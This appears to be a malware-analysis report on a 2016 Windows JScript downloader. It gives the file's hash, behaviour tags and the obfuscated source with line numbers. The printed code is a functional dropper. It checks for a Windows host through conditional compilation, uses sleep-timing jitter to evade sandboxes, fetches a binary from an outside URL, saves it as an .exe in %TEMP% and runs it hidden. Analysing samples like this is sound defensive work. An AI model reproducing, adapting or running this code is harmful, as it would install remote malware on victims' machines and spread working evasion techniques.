20160328_aea86ce7a3146caf6a12c8d07a20d8de.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2560b6333b7658d7f644a60df42974269b4f09c999d4bcb1adf8fd397f4c87f411a
Evidence
1var Uvzpaifzdm = false;
2var Hymqkffqk = "CreateObject";
3var Vnakf = function Oguanbmx() {return WScript[Hymqkffqk]("WScript.Shell");}();
4var Mdjiwvtcu = 123213;
5var Shxfegxelf = "MSXML2.XMLHTTP";
6var Pslcn = 2123213;
7var Xdfsmxx = 0;
8function Qqfrwbadzi(Xabqzufhz){Vnakf["Run"](Xabqzufhz, Xdfsmxx, Xdfsmxx);};
9function Puimuegntn(){return Shxfegxelf;};
10function Rmeqzwzl(Ywdbvbhuf, Tilgc){return Ywdbvbhuf - Tilgc;};
11function Dfzfjflp(){return Hymqkffqk;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Uvzpaifzdm = true;
15 @end
16@*/
17var Srvmfsl = "";
18if (Uvzpaifzdm)
19{
20function Qthzqa(){return 22;};
21var Yydvnocdk = 0; var Phlabbm = 0;
22function Pshyip()
23{
24var Ynamily = new this["Date"]();
25var Puvijpip = Ynamily["getUTCMilliseconds"]();
26WScript["Sleep"](Qthzqa());
27var Ynamily = new this["Date"]();
28var Opdku = Ynamily["getUTCMilliseconds"]();
29WScript["Sleep"](Qthzqa());
30var Ynamily = new this["Date"]();
31var Vyasfyxga = Ynamily["getUTCMilliseconds"]();
32var Yydvnocdk = "Oafdtn";
33Yydvnocdk = Rmeqzwzl(Opdku, Puvijpip);
34var Phlabbm = "Bmuhwk";
35Phlabbm = Rmeqzwzl(Vyasfyxga, Opdku);
36Srvmfsl = "open";
37return Rmeqzwzl(Yydvnocdk, Phlabbm);
38}
39var Vustbq = false;
40var Grslfmdlw = false;
41for (var Auqucng = Xdfsmxx; Auqucng < Qthzqa() * 1; Auqucng++){if (Pshyip() != Xdfsmxx){
42Vustbq = tr …
49:6… ustbq && Igwbyccjk() && Grslfmdlw){
50function Tzkwgth() {return Vnakf["ExpandEnvironmentStrings"]("%TEMP%/") + "UBW29nRQbaR.exe";};
51 Wafyxmr = Puimuegntn();
52 Igwjvyrax = WScript[Hymqkffqk](Wafyxmr);
53 var Uzkypcpb = 1;
54 while (Uzkypcpb){
55try {
56Igwjvyrax[Srvmfsl]("GET", "http://gydkym.com/dk3s8sja", false);
57Igwjvyrax["send"]();
58Wyuypq = "Sleep";
59do {WScript[Wyuypq](Qthzqa() * 11)} while (Igwjvyrax["readystate"] < 4 );
60Uzkypcpb = Xdfsmxx;
61} catch(Tbcppny){Uzkypcpb = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Rgsycvqc(Nreryoj) {var Wmrjmd = (1, 2, 3, 4, 5, Nreryoj); return Wmrjmd;};
64Stgsecfetn = WScript[Dfzfjflp()]("ADODB.Stream");
65Wafyxmr = Stgsecfetn;
66Wafyxmr[Srvmfsl]();
67Wafyxmr["type"] = Rgsycvqc(1);
68Wafyxmr["write"](Igwjvyrax["ResponseBody"]);
69Stgsecfetn["position"] = Rgsycvqc(Xdfsmxx);
70Wafyxmr["SaveToFile"](Tzkwgth(), Rgsycvqc(2) );
71Stgsecfetn["close"]();
72Qqfrwbadzi(Tzkwgth());
73}
74}
75